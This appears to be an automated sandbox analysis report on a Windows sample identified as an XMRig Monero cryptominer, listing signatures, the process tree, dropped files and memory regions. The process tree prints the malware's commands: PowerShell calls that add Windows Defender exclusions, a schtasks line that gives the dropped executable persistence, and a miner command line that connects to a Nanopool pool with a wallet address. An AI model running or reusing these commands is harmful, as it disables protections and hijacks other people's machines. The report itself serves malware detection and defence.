Analysis

  • max time kernel
    93s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/12/2022, 16:29

General

  • Target
    file.exe
  • Size 869KB
  • Sample221203-ty8brsbb8s
  • SHA256 d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4608
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD007.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:548
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1292
      • C:\ProgramData\github\PBBNAXU.exe
        "C:\ProgramData\github\PBBNAXU.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4920
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PBBNAXU" /tr "C:\ProgramData\github\PBBNAXU.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PBBNAXU" /tr "C:\ProgramData\github\PBBNAXU.exe"
            5⤵
            • Creates scheduled task(s)
            PID:5080
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:816

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        PBBNAXU.exe

        • Path C:\ProgramData\github\PBBNAXU.exe
        • Size 869KB
        • SHA256 d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2
        • MD5 SHA1 SHA512 SSDEEP

        PBBNAXU.exe

        • Path C:\ProgramData\github\PBBNAXU.exe
        • Size 869KB
        • SHA256 d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 ef33f487f93c2977e92fb08d6bdcc9d48b5d1864c402f9d3fbf3e1b30e8b3b9a
        • MD5 SHA1 SHA512

        tmpD007.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmpD007.tmp.bat
        • Size 142B
        • SHA256 ccfce9b0704c73cbd8164ca265350ba09018ab43e5b9e931dc9f67327224ef9a
        • MD5 SHA1 SHA512

        memory/628-187-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/628-182-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/644-141-0x00007FFCC8300000-0x00007FFCC832B000-memory.dmp

        memory/644-152-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/644-144-0x00007FFCAC110000-0x00007FFCAC25E000-memory.dmp

        memory/644-134-0x0000000000E20000-0x0000000000E62000-memory.dmp

        memory/644-143-0x0000000000E70000-0x0000000000FAE000-memory.dmp

        memory/644-150-0x0000000000E20000-0x0000000000E62000-memory.dmp

        memory/644-149-0x0000000000E70000-0x0000000000FAE000-memory.dmp

        memory/644-137-0x00007FFCC4330000-0x00007FFCC4342000-memory.dmp

        memory/644-135-0x00007FFCAC320000-0x00007FFCAC3CA000-memory.dmp

        memory/644-142-0x0000000000E70000-0x0000000000FAE000-memory.dmp

        memory/644-136-0x00007FFCC6EF0000-0x00007FFCC6F8E000-memory.dmp

        memory/644-145-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/644-132-0x0000000000E70000-0x0000000000FAE000-memory.dmp

        memory/644-140-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/644-139-0x00007FFCC6D40000-0x00007FFCC6EE1000-memory.dmp

        memory/644-138-0x00007FFCAC260000-0x00007FFCAC31D000-memory.dmp

        memory/816-155-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/816-160-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/816-151-0x000001D0B3220000-0x000001D0B3242000-memory.dmp

        memory/2272-170-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/2272-188-0x00007FFCA8590000-0x00007FFCA85C5000-memory.dmp

        memory/2272-168-0x00007FFCAC260000-0x00007FFCAC31D000-memory.dmp

        memory/2272-169-0x00007FFCC6D40000-0x00007FFCC6EE1000-memory.dmp

        memory/2272-166-0x00007FFCC6EF0000-0x00007FFCC6F8E000-memory.dmp

        memory/2272-171-0x00007FFCC8300000-0x00007FFCC832B000-memory.dmp

        memory/2272-172-0x0000000000490000-0x00000000005CE000-memory.dmp

        memory/2272-173-0x00007FFCABFC0000-0x00007FFCAC10E000-memory.dmp

        memory/2272-174-0x0000000000490000-0x00000000005CE000-memory.dmp

        memory/2272-175-0x0000000000FA0000-0x0000000000FE2000-memory.dmp

        memory/2272-202-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/2272-165-0x00007FFCAC320000-0x00007FFCAC3CA000-memory.dmp

        memory/2272-176-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/2272-201-0x0000000000490000-0x00000000005CE000-memory.dmp

        memory/2272-198-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/2272-197-0x0000000000490000-0x00000000005CE000-memory.dmp

        memory/2272-191-0x00007FFCC57E0000-0x00007FFCC581B000-memory.dmp

        memory/2272-190-0x00007FFCC83F0000-0x00007FFCC845B000-memory.dmp

        memory/2272-189-0x00007FFCA1EB0000-0x00007FFCA1FB2000-memory.dmp

        memory/2272-186-0x00007FFCC6410000-0x00007FFCC6437000-memory.dmp

        memory/2272-167-0x00007FFCC4330000-0x00007FFCC4342000-memory.dmp

        memory/4356-203-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4356-199-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4356-207-0x000001FF51480000-0x000001FF514A0000-memory.dmp

        memory/4356-206-0x000001FF51460000-0x000001FF51480000-memory.dmp

        memory/4356-192-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4356-194-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4356-195-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4356-196-0x000001FF513E0000-0x000001FF51400000-memory.dmp

        memory/4356-205-0x000001FF51480000-0x000001FF514A0000-memory.dmp

        memory/4356-204-0x000001FF51460000-0x000001FF51480000-memory.dmp

        memory/4356-200-0x000001FF51420000-0x000001FF51460000-memory.dmp

        memory/4608-156-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4608-157-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4920-184-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

        memory/4920-183-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp